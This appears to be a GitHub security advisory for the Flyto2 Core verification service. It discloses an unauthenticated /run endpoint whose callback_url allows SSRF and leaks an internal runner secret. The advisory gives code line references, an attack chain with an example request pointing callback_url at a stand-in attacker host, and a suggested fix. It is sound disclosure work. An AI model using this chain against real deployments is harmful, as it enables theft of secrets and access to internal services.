GHSA-jx74-cqjv-2c67 Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
SummaryThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service's `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.Root Cause`src/core/verification_service.py:363-364` — `/run` has no `Depends`/auth dependency.`resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).`post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).`target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.`Dockerfile.verification` CMD = `main('0.0.0.0', 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` → the shipped image binds all interfaces by default.ImpactUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).Proof of ConceptCode-proven this session (all lines confirmed on v2.26.6):Attack ChainEntry: unauthenticated `POST http://<host>:8344/run` with `callback_url:"http://attacker.tld/collect"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.Sink: `post_callback` → `session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.Bypass Evidence`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.Affected Versions`<= 2.26.6` — `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.Suggested FixAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.CreditVulnerability discovered by zx (Jace).
